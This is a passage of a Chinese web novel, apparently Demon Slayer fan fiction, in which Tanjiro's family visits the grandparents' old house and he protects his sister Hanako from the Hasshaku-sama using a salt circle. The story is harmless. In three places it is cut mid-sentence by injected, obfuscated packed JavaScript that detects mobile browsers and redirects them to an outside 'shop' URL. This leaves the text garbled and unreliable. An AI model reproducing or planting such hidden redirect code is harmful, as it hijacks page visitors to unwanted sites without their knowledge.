“怎么样,哥哥喜欢吗?” “这是茂和花子一起做的。” 祢豆子站在一旁微笑着解释。 “啪啪。”被葵枝抱在怀里的六太,挥舞着手似乎有什么想说。 祢豆子赶紧补充道:“这上面的草莓是六太摆的。” 炭治郎将孩子们搂在怀里,感动得泣不成声。 “谢谢、谢谢你们。” 这简直是他收到最好的出院礼物了。 由炭治郎切蛋糕,灶门一家一起分享了这个蛋糕,但只是尝了一口,所有人都放下叉子。 “太甜了。” 八个人,除了还不会说话的六太外,都异口同声道,而六太在那里呸呸呸,恨不得把吃下去的吐出来。 不知道是谁把糖不要钱地撒,简直甜到齁。 花子和茂都不承认是自己的错,并且都认为是对方放得太多了,觉得是对方破坏了自己送给炭治郎哥哥的蛋糕。 炭治郎叫停了他们:“好了,就算再甜,但你们能做出来,已经很了不起了。” 葵枝笑着点头:“是啊,花子和茂都很有天赋呢。” 炭十郎:“第一次做成这样,已经很不错了。” 得到哥哥和爸爸妈妈的夸奖,两个孩子终于露出笑容来。 只是这个蛋糕实在是吃不了,他们打算打包了,带回乡下给爷爷奶奶看看也好的。 这可是他的孙子孙女第一次做出来的。 第二天一早,灶门一家所有人都坐上面包车,炭治郎在门口挂上休息两天的牌子后,打开驾驶位的车门,坐了上去。 乡下的路很长,需要开三个小时。 由于考虑炭治郎不能颠簸,所以炭十郎还开得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灶门老夫妻拉着孩子们,顺带着才招呼着两个大人一起进屋。 一进屋,几个年纪小的孩子们,立刻就如撒了欢一般地满屋子乱跑。因为老宅很大,非常适合捉迷藏。 “别玩得太晚了,记得自己收拾行李。”葵枝冲着跑远了的孩子喊道。 “好。” 几个孩子大声回应道。 祢豆子放下行李看着这一下少了大半的人,对炭治郎说道:“还是老宅让人感觉很舒服。” “每次在这里,总有一股很怀念的味道。” 炭治郎附和地点了点头:“是啊。” 这话不是乱说,据妈妈说自己和祢豆子刚生下时,连路还不能走稳,就能找到老宅里的各种暗门,甚至还能翻出一些老物件来。 就像上辈子就生活在这里一样。 据说灶门家祖上是卖炭的,虽然不知道为何卖炭的会攒下这么大家业,不仅能建起这么漂亮的宅子,而且存下来的金银到现在还没有花完,甚至还能够他们家再开一家面包店。 但灶门家的人都不是花钱大手大脚的人,祖上没花完的那些钱,还好好地存了起来,以备不时之需。 “这里是哪?” 炭治郎正收拾着行李,突然听到熟悉的声音。 “你醒了,无惨。”炭治郎惊喜道。 他在医院养病的这段时间,一直没有听到无惨说话,如果不是他有感觉到对方的气息,都差点以为他消散了。 “这是我的老家。” 炭治郎推开窗自豪地说道:“你看那里,我家祖上是卖炭的,所以宅子里还保留着以前烧炭的窑。” “只是现在用炭的人少了,所以这生意早就不做,这窑被爷爷改了烧火泡澡。” “以前我和祢豆子还总是喜欢蹲在那里,等爷爷烤红薯给我们吃。” 说这些话时,他的脸上带着满足的笑容。 对于他来说,这里绝不仅仅只是一个住处那么简单。 “哦。”无惨显然对于炭治郎这种回忆感到很无聊。 但这一次他并没有反驳什么,静静地聆听着炭治郎在那里一个人喋喋不休地说道小时候在这里的点点滴滴。 炭治郎说起自己与家人的那些事来,简直是没完没了,无惨懒得也没有反驳他。 只是淡淡地回应着“嗯”“哦”这样简单的节音。 直到炭治郎意犹未尽地讲完,无惨才终于开口道:“你这家伙是多喜欢家。” “无惨,你这话说得,喜欢家有哪里不对吗?”炭治郎觉得无惨说的才奇怪的吧,一个人喜欢自己的家,喜欢自己的家人,有什么奇怪的吗? 他的家人都是很好的人啊。 “炭治郎,吃饭了。” 正说着,葵枝的声音响起。 54.第 54 章 当炭治郎来到餐厅时,看到是玩得满脸都是汗,浑身脏兮兮的三个孩子。 葵枝和灶门奶奶赶紧替他们擦脸。 “怎么玩得这么脏。” 他们一边说一边替他们擦,直到把小花猫擦得干干净净,这才让几个孩子快点去洗手。 洗完手,他们一家人坐在餐桌前,热热闹闹地围成一桌。 灶门老夫妻慈爱地看着眼前六个孩子,简直是越看越高兴,特别是最小的六太,看着他叉子都用不稳,却倔强地叉着碗里的食物。 “你们这次待几天啊。”灶门爷爷问道。 “我和葵枝就待两天,明天就回去,孩子倒是可以多待一段时间,到时候我再来接他们。” 灶门老夫妻相视一眼满意地点了点头。 灶门爷爷轻咳两声,努力忍下嘴角的笑意:“嗯,你们夫妻俩还有工作,早点回去吧。孩子们有我和老婆子呢。” 灶门奶奶也是笑得一脸慈祥:“是啊,我和老头子会照顾好孩子们的。” “特别是炭治郎,现在正需要好好休息,不能舟车劳顿。” “我没有关系的,我可以回去帮爸爸妈妈看店。” 突然被点名的炭治郎,还是一如既往地懂事。但他这句话,似乎让什么东西碎掉了。 灶门奶奶顿时红了眼眶,一副要哭出来的表情,灶门爷爷也捂着心脏的位置。 炭治郎闻出两人一股伤心欲绝的味道,立刻出声道:“那个…要不然…我也多留两天。” 爷爷奶奶这才破涕为笑。 “这才对嘛,炭治郎你一个孩子,伤还没好,暑假了就好好留在爷爷奶奶家玩。” “那家小面包店有什么好帮忙的。” 小面包店老板突然被点名,炭十郎脸色有些难堪:“爸爸,我好歹是你儿子啊。” 有这么说自己儿子的吗? 灶门爷爷傲娇地扭过头去,自己这个做爸的,说儿子两句怎么了,自从儿子带着一家人去城里后,一年到头才带孩子们回来看他几次啊。 虽然他也知道城里的教育更好,但是不能时时刻刻看到孩子们的他就是高兴不起来。 炭十郎自然知道自己父亲在想些什么,却没办法说什么,这老夫妻就是这么宠孩子。 但是听到自己可以在乡下多玩两天的孩子显然很高兴。 “太好喽,可以在爷爷奶奶家多待两天。” “明天我还要继续在宅子里冒险。” 原来花子和茂,不仅仅只是宅子里捉迷藏,他们还玩了冒险游戏。 “炭治郎哥哥,我跟你说。”花子跑到炭治郎身边,在他耳旁轻声道:“仓库里有好多老物件。” “啊!花子,你真是的,说好了,等找到很厉害的东西时,再来拿给炭治郎哥哥看的。”茂见花子这么快就把事情说出来了,有些不高兴地喊道。 “略略略。”花子嘲茂做了一个鬼脸。 “我就要和哥哥说。”她紧紧搂着炭治郎,一副天下我和哥哥天下第一要好。 “哼!等着吧,我会找到很厉害的东西给炭治郎哥哥看的。”茂小跑上来,也是搂着炭治郎的手腕。 “我会找到更厉害的。” “是我才对。” 两个孩子搂着哥哥的手臂,六太看着有趣,在一旁哈哈哈地拍手,似乎只是觉得哥哥姐姐在和炭治郎哥哥玩而已。 竹雄则是拉起两个小的:“等你们两个找到了再说吧。” “现在别往炭治郎哥哥身上压,哥哥的伤还没有好呢。” “是。” 被竹雄哥哥这么一教训,两个孩子立刻认错道。 炭治郎:“竹雄,没关系了,我没那么脆弱。” 自从出院后,竹雄简直是要把他当作一个瓷娃娃了,哪怕他多次说自己已经没事了,但是竹雄仍然如此。 吃过饭,灶门爷爷去后院,给他们烧火泡澡。 “水温合适吗?” 隔着小小的窗口,灶门爷爷问道。 炭治郎把手伸进水里试了一下水温。 “爷爷,水温正好。”炭治郎说道。 “炭治郎,听说你是为救人掉下来的,现在好点了吗?” 这里没有其他人,灶门爷爷问起了炭治郎的身体情况。 “我好得差不多了爷爷。” 炭治郎泡在水里看着身上那些淡淡的肉粉色的伤痕,看着这些浅浅的伤痕,根本看不出来,一周前这里都血肉模糊。 “炭治郎,你是个好孩子,总是热心肠地帮助他人。但是炭治郎,我们有时还是想着,如果你不那么冒险就好了。” “你是我们看着长大的孩子,是我们的家人。” “如果下次再遇到这种事,答应爷爷,一定要护好自己知道了吗?” “我知道了,爷爷。” 闻到爷爷身上散发出的悲伤味道,炭治郎内心愧疚,正如无惨所说的那样,如果那个时候,自己只决定当一个植物人的话,那会有很多人替自己伤心。 这一夜,炭治郎反思了很多。 睡前,他轻声地对无惨说了一声:“对不起。” “炭治郎哥哥!” 第二天一早,炭治郎是被花子和茂的叫声喊醒的。 只见两人来到他的房间,一脸兴奋。 “炭治郎哥哥,快点!奶奶买西瓜了。” “新鲜的西瓜!” 新鲜的西瓜切开后最好吃了。 炭治郎赶紧起床洗漱,然后来到院子里,果然奶奶已经将西瓜洗好,只等孩子一起到了。 随着了孩子们一起过来,她笑眯眯地将西瓜切开。 虽然大早上的吃西瓜有些太奢侈了,但是包括炭治郎在内,每个人脸上都露出开心的笑容。灶门奶奶还拿出汽水和自己做点心,放在廊下,让孩子们一起吃。 炭治郎和弟弟们一起排排坐好,一起享受这上午的阳光和美味的西瓜。 这样晒着暖洋洋的太阳真的很舒服。 “无惨,你不是喜欢晒太阳吗?” “要不要一起晒会?”炭治郎发出邀请。 无惨冷哼一声:“你不反对,我出现在你弟弟妹妹面前?” 炭治郎:“那当然还是反对的。” 亲人之间是最能感觉到异样的,这也是为什么自上次贞子事件后,炭治郎很少把无惨放出来的原因。 “所以等会,弟弟妹妹不在旁边的时候,你再出来。” “但说好,不许闹,也不许去其他地方。” “这还用你说吗?”无惨有时真想看看炭治的脑子是怎么长的? 他都活了一千多岁,会不懂得这些道理吗? “可无惨有时你的脾气真的很像一个小孩子。”炭治郎嘟囔道。 他本来就是在孩子堆里长大的,又一直照顾着弟弟妹妹,所以难免会多说两句,而且他有时候是真觉得无惨像个长不大的孩子。 脾气又臭又硬的。 可惜两人同一身体,炭治郎的嘟囔,根本瞒不过无惨。 “灶门炭治郎!” 炭治郎被吼得忍不住捂住耳朵。 “哥哥,你怎么了?头疼吗?” 其他几人看到炭治郎突然捂着头,有些担心地问道。 炭治郎摇头:“不疼,不疼。” 祢豆子:“要不然,我扶哥哥你进屋休息吧。” 炭治郎:“不用,我觉得还是要多晒晒太阳。” 祢豆子听了也觉得炭治郎说得对,哥哥在医院里躺了这么久,说不定骨头都缺钙了,是要好好晒晒太阳。 这时祢豆子的手机响了,她瞥了一眼上面的来电,是班上的同学打来的。 她赶紧拿着手机往房间跑,边跑边冲炭治郎嘱咐道:“哥哥,我和朋友去聊天了,你一旦不舒服,就回房间休息,不要累着。” “嗯。”望着祢豆子的身影,炭治郎点点头。 祢豆子走后没多久,竹雄便回房间做作业去了,剩下的花子和茂带着六太在院子里玩,炭治郎就廊下看着那三个孩子,一边享受着暑假里的阳光。 “六太,好厉害,加油。” 花子在教六太拍皮球,六太虽然年纪小,一开始有些拍不稳,但是在哥哥姐姐的教导下,很快就上手了,一连能拍十几个。 但终归是年纪小,一不小心球脱手,滚出去好远。 “球…”六太朝着滚出去球,伸出手。 花子立刻跑向球:“六太乖,在这里等姐姐。” 那球小小的一颗,倒是滚得很远,居然滚到院墙边上,直到撞到了墙上,才停了下来,花子趁机捡回了球。 拿到球的她迫不及待想回去,但这时头顶传来奇怪的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331841|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啵啵…” “啵啵啵…” 那声音由远及近,仿佛就在她耳边。 她抬起头,只见一位戴着大帽子,穿着漂亮洋服的长发女人正路过他们家,手中撑着一把伞遮阳。 那女人漂亮、优雅、大方,皮肤白皙,是花子见过的最漂亮的女人,浑身有一种说不出来的气质。 一时之间让花子不由得看呆了,她愣在原地,只见那撑着伞的女人,朝她瞥来一眼。 “啵啵啵…” 那奇怪的声音也始终挥之不去,同时让花子升起一股害怕的感觉来,她总觉得哪里不对劲,但是又说不上来。 只能抱着球,惶恐得冷汗直流,却连脚步也迈不开。 好害怕,好害怕,好害怕… 无尽地恐慌占据了花子的内心,无论眼前奇怪的阿姨,还是那奇怪的“啵啵”声,都让年幼的她恐惧到极点,无法呼吸之时… “花子!” 炭治郎哥哥的声音在耳边响起,她被人紧紧地搂进怀里,终于看不到那奇怪的女人。 炭治郎犹如护犊子的凶兽一般,将花子紧紧地搂在怀里,警惕地看着外面那个高大的女人。 花子的感觉没有错,眼前的女人确实不正常。 灶门家的祖宅很高,院墙至少有两米,但是那个撑伞的女人却是高了个半身子,这简直不是正常人应该有的身高。 而且即使隔了一断距离,炭治郎依旧闻出了她身上那股非人的味道。 “啵啵啵…” 花子因为太害怕而没有看清,但炭治郎却清楚地看到,那奇怪的“啵啵”声,根本就是从女人嘴里发出的。 那些无意义的音节,是属于女人的语言。 那个孩子归我了。 炭治郎听懂她的话,顿时怒火中烧。 “我不会让你伤害我的家人。” “啵啵。” 这一声里似乎带着几分嘲笑,炭治郎更护紧了怀中的花子! 他与眼前奇怪的女人对视着,带着警告。 女人眼中却是讥讽与嘲笑,从容地走过了灶门的家院墙。 那高大身影逐渐消失在眼前,脚步声以及“啵啵”声也再也听不到。 “哇~” 女人走后,花子再也忍不住了,抱着炭治郎开始大哭。 “呜呜呜…哥哥,好可怕,花子怕。” “花子,不怕不怕,有哥哥在呢。” 炭治郎蹲下身来,安慰着妹妹。茂和六太匆匆赶来,六太围着姐姐不知所措,茂也急急忙忙问是不是捡球摔到了。 但花子被刚刚的怪事吓傻了,一直哭,茂看着心疼,也哭了起来,茂一哭,这下连六太也哭了起来。 这下炭治郎要安慰三个孩子。 好在,因为孩子们的哭声太大,引来了家长们。 四个家长,根本不知道发了什么人,炭治郎连比带划的,根本不知道怎么解释刚刚的事,而花子也一个劲地说有可怕东西。 他们还以为是家里闹老鼠了呢。 “毕竟是百年老宅了,有老鼠也正常。”灶门奶奶说道。 “老头子,要不然请人来灭鼠吧。” 若是放在以前,区区几只老鼠而已,灶门爷爷就随他去了。但是如今可是吓到了他的宝贝孙女,那自然是要请人好好清理一翻的。 见家长们这么理解,炭治郎松了一口气,只是… 望着那个高大女人离去的方向,忧心忡忡。 最后,葵枝带着还挂着眼泪的几个孩子进了屋,与炭十郎安慰了他们很久,为此还跟他们说,等一下去镇上的超市大采购,他们想吃什么都可以拿。 听到可以去买零食,几个孩子这才破涕为笑。 一家人坐上车,准备去超市采购,就连在写作业的竹雄和祢豆子也跟着一起。 由于要买的东西太多,来到超市后,葵枝和炭十郎一人推着一辆购物车,葵枝将最小的六太放在购物车上,花子、茂和竹雄跟着爸爸妈妈左右。 炭治郎单独推着一辆购物车,说是要给朋友带伴手礼,想一个人先逛一会。 祢豆子看着走向一边的炭治郎,紧跟上去。 “哥哥。” 看着站在货架前发呆的炭治郎,祢豆子走上前喊了他一声。 “祢豆子。”炭治郎被叫得回过神来。 55.第 55 章 “哥哥,花子发生什么事了?” “有怪物盯上她了。”炭治郎沉着脸道。 他将自己看到一个奇怪的女人,那个女人要带走花子的事情说了出来。 “发出‘啵啵’声的高个子女人。这个故事,我好像听说过。”祢豆子喃喃自语。 “真的吗?祢豆子,你快想想那是什么怪物。” “知道是什么东西,就可以救花子了。” “花子怎么了?” 就在炭治郎催促时,竹雄的声音在两人身后响起。 “竹雄,你怎么来了。” 超市人多,炭治郎又心急花子的事,竟没有注意到竹雄的靠近,但好在,竹雄没有听清楚。 “没什么,就是觉得家里的老鼠应该尽快灭掉,不然花子会一直害怕的。”祢豆子解释道。 “这样啊。”竹雄一副了解的表情。 但心底却根本不是这么想的,他也不是几岁的孩子了,能察觉到最近哥哥姐姐,总是说悄悄话。 到底是什么事,让他们连家人也不能说,总是在背后商量的。 还有花子…竹雄也知道对方怕老鼠,有时就连玩具老鼠也害怕。 可是这次花子说得有些奇怪,一直说是好可怕,但却并没有说是老鼠。 害怕老鼠这件事,还是爷爷奶奶自己猜的,并不是花子亲口说出来的。 那么花子究竟在害怕什么呢? 可炭治郎哥哥和祢豆子姐姐却什么都不告诉他。 明明自己也能帮忙的,他跟在炭治郎的身边,心情有些郁闷。 他也很想帮炭治郎哥哥,出自己的一份力。 在超市大扫荡了一圈,买了很多东西,花子也逐渐忘记了上午的事,再次展露了笑容。 “花子,想吃什么呢?”葵枝和炭十郎牵着花子的手微笑着问道。 “汉堡肉。” “那今天,就在外面吃吧。” “孩子们,你们说呢?” 炭治郎等人自然不会反对,他们本来就是出门玩的。 于是一行人找到一家庭餐厅,六太、茂、花子三个小的,给他们点了儿童套餐,其他人则是各自点了菜单上自己喜欢吃的。 吃完饭,他们又买了甜筒,边吃边逛街。 半年没有回来,小镇上变化不大,倒是开了几家新店。 “老公,这家刀具店好像是新开的。” 在路过一处装修风格硬朗的店铺时,葵枝停下脚步。 炭十郎点头:“还真是,这店去年还没有开。” “正好家里刀具该换换了,我们进去看了一下吧。” 透过厨窗,葵枝看到摆着展示的那些刀具都打磨得不错,便想着进去看看,炭十郎听了,自然陪同。 “炭治郎我和你妈妈看看刀具,如果你们觉得无聊的话,可以去旁边的书店休息一会。” 正在帮六太擦着嘴角冰淇淋的炭治郎,回头称是。 同时他也看到了那家新开的刀具店,那是一家名为“钢铁冢刀具店”。 名字和他的装修风格一样,非常硬朗,店名应该就是老板的名字。 妈妈很喜欢逛刀具店,应该需要一段时间。 “走吧。”他带着弟弟妹妹们,来到一旁的书店,这里有空调,还有免费的书籍可以看。 花子很快就被几本颜色鲜艳的绘本所吸引,炭治郎掏钱买了,几个孩子围在一起看新的绘本。 快二十分钟过去了,爸爸妈妈还没有回来。 “炭治郎哥哥,还是去看一下吧。”竹雄提议道。 炭治郎点点头,扭头对祢豆子道:“祢豆子,你留下来照顾一下他们,我很快回来。” 嘱咐完,他便要出门,去对面看看是什么事把父母给耽搁了。 “哥哥,等一下,我也去。”竹雄见状赶紧跟上前去。 弟弟妹妹本来就很乖不会乱跑,而且还有祢豆子姐姐在,他也放心。 他很快追上炭治郎的步伐,一起进入那家硬核的刀具店。 “唉?你们这手艺居然传了百年!难怪刀具做这么好。” “说起来,我家的祖业倒是不做了。” “你家祖业是做什么的?” “我家祖上是卖炭的。” “这样啊,难怪叫灶门。” “嗯,不过我们家现在在卖面包,面包需要烤制的,也算变相地与火有关。” “爸爸,妈妈。你们在干什么呢?” 炭治郎一推门进来,就看到爸爸妈妈在跟一个戴着火男面具的男人在聊天。 他看到对方大白天地戴着面具,不由得一愣,就多盯着对方几秒钟。 为什么这个为什么要在室内戴面具?这又不是祭典,也不是节日的? 不是很奇怪吗?难不成是特殊的揽客手段。 炭治郎不是那种会探究别人隐私的人,而竹雄却是满是警惕道。 “这个戴面具的大叔很可疑啊!” “这不会是哪个通缉逃犯吧?” 不然好好的,为什么要以面具示人。 “竹雄!”葵枝呵斥道。 “对不起,钢铁冢先生,这两个都是我的儿子,小的是竹雄的,大的是炭治郎。” “哦,灼赫之子啊。”钢铁冢看着炭治郎不由得感慨道。 “不是的,叔叔,我的爸爸妈妈的孩子。”炭治郎以为对方误会什么,赶紧解释道。 钢铁冢环抱着漫不经道:“相传生在以火为事业的家庭中的红发红眼的孩子,是很吉利的象征,被称为灼赫之子。” “原来是这样,炭治郎确实是我们家的福星呢。” 没有哪个疼爱孩子的父母,不喜欢听别人夸奖自己孩子的。 葵枝和炭十郎脸上都露出欣喜的笑容,就连竹雄从进门起,就臭着一张脸的他,也是嘴角上扬。 “这个怪人倒是挺会说话的。” “竹雄!虽然钢铁冢先生戴着面具,是像个怪人,但是他是长辈,要用敬称。” 炭治郎这话说得,也是不怎么好听。 钢铁冢似乎有些介意,除着面具,都能感觉到他的愤意。 “你们懂什么!我这是祖上传下来的规矩!我们一族,以前是给一群很了不起的打造刀具的,由于敌人过于危险,为了保护身份,我们才戴起面具,这规矩也就延续到了今日。”他愤愤不平大声,说出他们家来例。 “这样啊。”炭治郎恍然大悟。 “难怪钢铁冢先生卖的刀具这么好。” 也不怪爸爸妈妈在这里逛了这么久,还跟店主聊了起来。 这位钢铁冢先生所卖的刀具,每一把都是由他亲手打造的,做工精美,而且质量牢固,比他见过的所有刀具都要好。 不愧是祖传的手艺。 “哼,你夸我也不会高兴的!”钢铁冢环抱着将头撇过一边去。 炭治郎嘿嘿一笑,这位钢铁冢先生明明就很高兴。 钢铁冢将葵枝选的十件刀具都打包起来:“总本店刀具终身保修,如果锈了可以来这里打磨,就算是自家的刀具锈了,也可以送过来。” “保证帮你们打磨得犹如新刀。” 葵枝接过打包好的刀具:“嗯,我会帮钢铁冢先生介绍生意的。” “希望你们能好好爱惜刀具!只是有一点,绝不能让我看到,你们故意毁坏,我心爱的刀具明白了吗?” 也不知道钢铁冢之前经历了什么,对于刀具毁坏的事,明显非常非常地在意,就连气势也变了。 像是如果有人故意损坏他的刀具,他就能和对方拼命。 而且也不知道是不是心理作用,炭治郎总感觉对方是冲自己说的这话。 炭治郎的感觉是对的没错。 钢铁冢萤也不知道为什么,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336949|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明是对这灶门一家是很有好感的,哪怕是那个喊他怪人的黑发少年,他也没有真的生气,甚至对那个叫炭治郎的灼赫之子高看几眼。 但是不知道为何,他总感觉那个叫炭治郎的孩子会弄坏他的刀! 一看到他,自己就想把刀打磨得再牢固一点。 不行!他快忍不住了,等这些人一走,他就要去闭关!誓要打磨出更坚固的刀具来! 炭治郎等人一走,钢铁冢当即把店一关,生意也不做了,去研究新的刀具去了。 听到身后关门动静的炭治郎还疑惑地转身,看着大白天不做生意的刀具店,眼中满是疑惑,直到竹雄叫他的名字,他这才转身回到书店,接上弟弟妹妹们。 一到家,葵枝便和婆婆一起分享了新的刀具,看着这些做工精美的刀具,灶门奶奶也很喜欢,特别是其中一把小刀,她可以用它处理很多食材,替孩子们做更多好吃的。 另一边,祢豆子打开手机浏览器,在翻阅了大量资料后,兴冲冲地找到炭治郎。 “哥哥,我找到了。” “我知道那个缠上花子的是什么了。” “是八尺大人。” 祢豆子将手机上的画像给炭治郎看。 虽然细节上略有不同,但是身高八尺,面容姣好,会发出“啵啵”声的女性,这一点完全符合白天遇到的那个怪物。 “有对付她的办法吗?”炭治郎问道。 “有。”祢豆子又往下翻了翻。 “相传只要看到过八尺大人的,都会在第二天被她抓走吃掉。” 祢豆子一愣,有些担忧地看向炭治郎:“哥哥,你也看到她了,你也会被带走的。” 炭治郎摆摆手:“不要紧,我还是有些自保能力的。” “告诉我对付八尺大人的办法。” 祢豆子:“按上面所说,在第二天晚上,找到一间空屋子,周围撒上盐,便可以阻止八尺大人进来。” “但这一夜,无论外面发生什么,都不可以开门。” “八尺大人会制造各种假象给你,但无论她怎么迷惑,只要坚持不开门,她就进不来。” “只要挺过这一晚,就没事了。” 炭治郎听后松了一口气,听上去是很简单。并没有什么难度,如果只有花子一个人待在屋子里的话,他或许还会担心,但有自己在。 相信就一定能挺过去的。 只要熬过明晚,一切都解决了。 第二天一早,葵枝和炭十郎早早地收拾好行李,家里还有家面包店要经营,他们不能一整个暑假都陪在孩子身边。 而且这里还有爷爷奶奶在,他们也很放心,让孩子待在这里。 离开前,夫妻俩还叮嘱了两位老人很久,几乎是把每个孩子这段时间需要做的事,都说了一遍。说完,还不忘对每个孩子都叮嘱一遍。 要好好听爷爷奶奶和炭治郎哥哥的话,不能一个人在外过夜,九点前必须到家,他们每天晚上都会打电话过来。 “是。” 被唠叨的了几个孩子,完全没有一丝不耐烦,认真听着,他们知道爸爸妈妈是为了他们好。 而且他们向来都很听炭治郎哥哥的话。 “还有你炭治郎。” “你身上的伤,还没有好,要好好休养。” 叮嘱了所有孩子,葵枝不忘叮嘱那个最让她放心,却又是最不让她放心的那个。 她替炭治郎理了理衣襟:“做什么别逞强,知道吗?” “嗯。” 随着炭治郎点头,葵枝将他拥在怀里。 用他们俩才能听到声音道:“花子,就交给你了。” “我会的,妈妈。” 葵枝松开炭治郎,坐上了车。 “孩子们,我们走了,你们要听话。” “嗯。爸爸妈妈再见。” 众人在门口挥手告别。 56.第 56 章 目送父母离开,炭治郎与祢豆子对视一眼,祢豆子立刻跑去问爷爷奶奶要盐。 在听到祢豆子要好几斤盐,爷爷奶奶虽然不理解,但还是给了。甚至由于盐不够,老夫妻还去买了点,而炭治郎则是宅子里寻找适合过夜的屋子。 他想着挑尽可能远的地方,不会威胁到其他人,就由他一个人来守着花子就好。 灶门家宅子确实太大了,不过大多都是客房,看来宅子建成之初,是有很多客人过来的,只是随着时光流逝,往昔的那些客人都不在了,而这些屋子,这才会空了下来。 除客房以外,还有一些存着旧物的地方。 炭治郎推开其中一间空屋子的门,看着眼前摆着大箱子的空屋子,他不由得笑了起来。 他记得这个地方,小时候他和祢豆子很喜欢来这里,他们玩捉迷藏时,曾经会躲在这里。 但随着年岁渐长,加上每次回来,都住不了几天,渐渐地他们很少来这里。如果不是为了花子,他都快忘了这个地方。 炭治郎走到箱子前,由于太长时间没有打开过,这上面已经落了厚厚一层灰。炭治郎吹了一口气,那厚重的灰尘如雪花一般飘起。 他将其中一个箱子打开,看着里面的东西,笑容加深:“这些东西还在呢。” 他拿起其中一件破旧的绿格子羽织,只见箱子里摆放着一些旧衣服,都是一些各种的羽织和不知名的队服。 “这羽织…” “原来这里是你家。” 无惨看到这些衣服一下明白过来,这里是哪里。 炭治郎“无惨,你这话说得好奇怪,这里当然是我家。” “你知道吗?这里的东西,是我们先祖留下来的,听说建起这宅子的先祖和祢豆子是一样的名字呢。” 虽然给孩子取先祖的名字很奇怪,但是祢豆子的名字是全家一起商量出来的。而且或许是叫同一个名字的原因,小时候祢豆子过于熟悉宅子,爷爷奶奶还开玩笑说,是不是先祖转世回来了呢。 “我知道。”无惨淡淡道。 “唉?无惨你怎么会知道的,这可是我祖宅。” “你知道那位叫祢豆子的先祖有一个哥哥吗?” 炭治郎回忆了一下:“好像是有说过,但是听说那个哥哥早早就去世了,并没有留下姓名。” “是吗?” 无惨的声音有些轻,似乎是陷入回忆中。 炭治郎将衣服重新放进箱子里。 “哥哥。” 这时祢豆子找了过来,眼中流露出怀念:“居然是这里。” 炭治郎点点头:“就这里吧,晚上我和花子就暂时住这里。” “盐找来了吗?” “找来了,要现在拿过来吗?”祢豆子点头道。 炭治郎点头,先准备着吧。 越早准备越好,他们不知八尺大人什么时候会来,或许一入夜,对方就会找过来,等那个时候再准备就迟了。 “嗯。”祢豆子带着炭治郎一起去拿盐。 等拿到盐后,两人将屋子里一整圈,包括窗户的位置,都撒上了盐圈,只暂时留了进出的门,这里等晚上,炭治郎带着花子住进来的时候再撒。 事情准备完毕。 炭治郎和祢豆子装作什么也没有发生,又陪着弟弟妹妹一个下午。 等吃过晚饭,炭治郎单独把花子拉到一边。 “花子,你听说我。” “炭治郎哥哥你说。” “花子,还记得昨天那位个子很高的女人吗?” 提起那个女人,花子脸色很不好,露出一丝惊恐,她弱弱地点头:“那个女人,很可怕。” 炭治郎握紧她的手:“那个姐姐今晚,会来找我们。” “但花子不要怕,哥哥会和你在一起。” “所以无论今天晚上,发生什么事,都不要开门出去好吗?” “花子是个勇敢的孩子,我相信你一定可以的。” 花子有些纠结,说不害怕是不可能的,但看着哥哥,她最终下定决心般地点了点头。 “嗯,有哥哥在,我不怕。” 炭治郎赞叹着花子的勇气。 他又找到祢豆子,一脸镇重地叮嘱道:“祢豆子,其他孩子就交给你了。” “哥哥,真的不用我帮忙吗?” 她想着多一个人,在屋里陪着也是好的。 炭治郎摇头:“茂和六太还太小,得有人守着。” “还有竹雄和爷爷奶奶他们,今晚你不能让任何一个人出门。” 一旦冲撞到八尺大人,他担心其他人会被带走。 祢豆子很快其中利害,坚定地表示自己会守护好家人们的。 炭治郎悄悄地带着花子,来到白天找到的那个房间,房间里已经清扫过,被褥、吃食、水,书籍都有。 炭治郎让花子自己在被褥里坐好,然后关上门,将最后一点盐撒上,让盐圈彻底闭合。 做完一切,他来到花子身边,随手拿起其中一本书,微笑道。 “花子,哥哥给你讲故事好不好。” “好。”花子露出甜甜的笑容。 炭治郎把花子抱在怀中坐下,然后打开那本书,开始给她讲故事,花子入迷地听着,兄妹之间气氛温馨,看起来他们只是在讲睡前故事而已,半点也不像是来躲妖怪的。 时间一分一秒地过去,外面的天色越来越暗,书都讲了大半,什么动静也没有。 炭治郎讲得有些口渴。 “咚咚咚。” 这时屋外响起敲门声,灶门爷爷的声音在屋外响起。 “炭治郎,花子,你们在这里干什么呢?” “怎么不回房间睡呀?” 听到爷爷的声音,花子立刻起身,往大门走去:“爷爷,我和炭治郎哥哥正躲坏人呢。” “坏人?什么坏人?” “花子,有坏人告诉爷爷好不好,爷爷来想办法,别把自己关里面了。” 灶门爷爷语气焦急,敲着门让花子他们把门打开。 花子想想也是,有爷爷在,她和炭治郎哥哥就安全了。 于是她伸手去开门,可手还没有碰到门,就被炭治郎哥哥拉住。 “你不是爷爷!”炭治郎斩钉截铁地说道。 “你的气味瞒不过我的。” “你是八尺大人。” 他一下指出对方真实身份。 门外一下陷入寂静,花子也猛地收回手,她终于想起哥哥告诉过她,无论遇到什么都不要开门。 但门外… “花子,开开门,我真的是爷爷。” “你难道不相信爷爷了吗?” 花子缩在炭治郎身边,声音带着一丝颤抖:“你不是爷爷!” 